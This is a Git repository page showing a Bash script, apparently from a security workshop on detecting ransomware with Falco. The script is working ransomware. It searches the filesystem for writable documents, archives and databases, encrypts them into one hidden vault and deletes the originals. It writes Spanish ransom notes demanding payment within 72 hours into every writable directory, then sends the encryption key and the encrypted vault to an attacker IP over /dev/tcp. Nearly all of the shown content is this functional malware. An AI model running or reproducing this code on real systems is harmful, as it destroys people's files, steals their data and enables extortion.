anti
ae0104b200
Scripts ofensivos (xargs, tarbulk, noxargs), C2 listener, Falco detection rules, slides md + pptx, y estructura del workshop.
85 lines
2.6 KiB
Bash
85 lines
2.6 KiB
Bash
#!/bin/bash
|
|
# /bin/bash porque sí queremos ejecutar esto... en la VM :)
|
|
|
|
IP=$1
|
|
KEY=$(openssl rand -hex 32)
|
|
|
|
function get_writeable_dirs() {
|
|
mapfile -d '' WRITEABLE_DIRS < <(find / -type d -perm -0002 -print0)
|
|
}
|
|
|
|
function get_interesting_files() {
|
|
mapfile -d '' TARGETS < <(find / -type f -writable \( -name "*.sh" -o -name "*.doc" -o -name "*.zip" -name "*.txt" -o -name "*.pdf" -o -name "*.docx" -o -name "*.db" \) -print0)
|
|
}
|
|
|
|
function get_victim_ip() {
|
|
hostname -I | awk '{print $1}'
|
|
}
|
|
|
|
function send_key() {
|
|
local victim_ip
|
|
victim_ip=$(get_victim_ip)
|
|
printf 'GET /?k=%s&v=%s HTTP/1.0\r\nHost: %s\r\n\r\n' \
|
|
"$KEY" "$victim_ip" "$IP" \
|
|
> /dev/tcp/"$IP"/9090
|
|
}
|
|
|
|
function send_vault() {
|
|
local victim_ip size
|
|
victim_ip=$(get_victim_ip)
|
|
size=$(stat -c%s /tmp/.vault.enc)
|
|
{
|
|
printf 'POST /vault/%s HTTP/1.0\r\n' "$victim_ip"
|
|
printf 'Host: %s\r\n' "$IP"
|
|
printf 'Content-Type: application/octet-stream\r\n'
|
|
printf 'Content-Length: %d\r\n' "$size"
|
|
printf '\r\n'
|
|
cat /tmp/.vault.enc
|
|
} > /dev/tcp/"$IP"/9091
|
|
}
|
|
|
|
function make_readme() {
|
|
printf '%s\0' "${WRITEABLE_DIRS[@]}" | \
|
|
xargs -0 -I% sh -c \
|
|
'echo "Tus archivos han sido cifrados. Tienes 72 horas para pagar." > "%/LEEME_URGENTE.txt"'
|
|
}
|
|
|
|
function encrypt() {
|
|
# Un solo tar stream -> un solo openssl -> un solo fork
|
|
printf '%s\0' "${TARGETS[@]}" | \
|
|
tar --null -T - -czf - | \
|
|
openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \
|
|
> /tmp/.vault.enc
|
|
|
|
# Eliminar originales en batch (un solo find, sin shred por archivo)
|
|
printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
|
|
}
|
|
|
|
function main() {
|
|
echo "[*] Reconocimiento: directorios escribibles..."
|
|
time get_writeable_dirs
|
|
echo "[+] ${#WRITEABLE_DIRS[@]} directorios encontrados."
|
|
|
|
echo "[*] Reconocimiento: archivos objetivo..."
|
|
time get_interesting_files
|
|
echo "[+] ${#TARGETS[@]} archivos encontrados."
|
|
|
|
echo "[*] Cifrando (tar | openssl, un proceso)..."
|
|
time encrypt
|
|
echo "[+] Cifrado completo. Vault: /tmp/.vault.enc"
|
|
|
|
echo "[*] Depositando notas de rescate..."
|
|
time make_readme
|
|
echo "[+] Notas en ${#WRITEABLE_DIRS[@]} directorios."
|
|
|
|
echo "[*] Exfiltrando clave a $IP..."
|
|
send_key
|
|
echo "[+] Clave enviada."
|
|
|
|
echo "[*] Exfiltrando vault a $IP..."
|
|
send_vault
|
|
echo "[+] Hecho."
|
|
}
|
|
|
|
main "$@"
|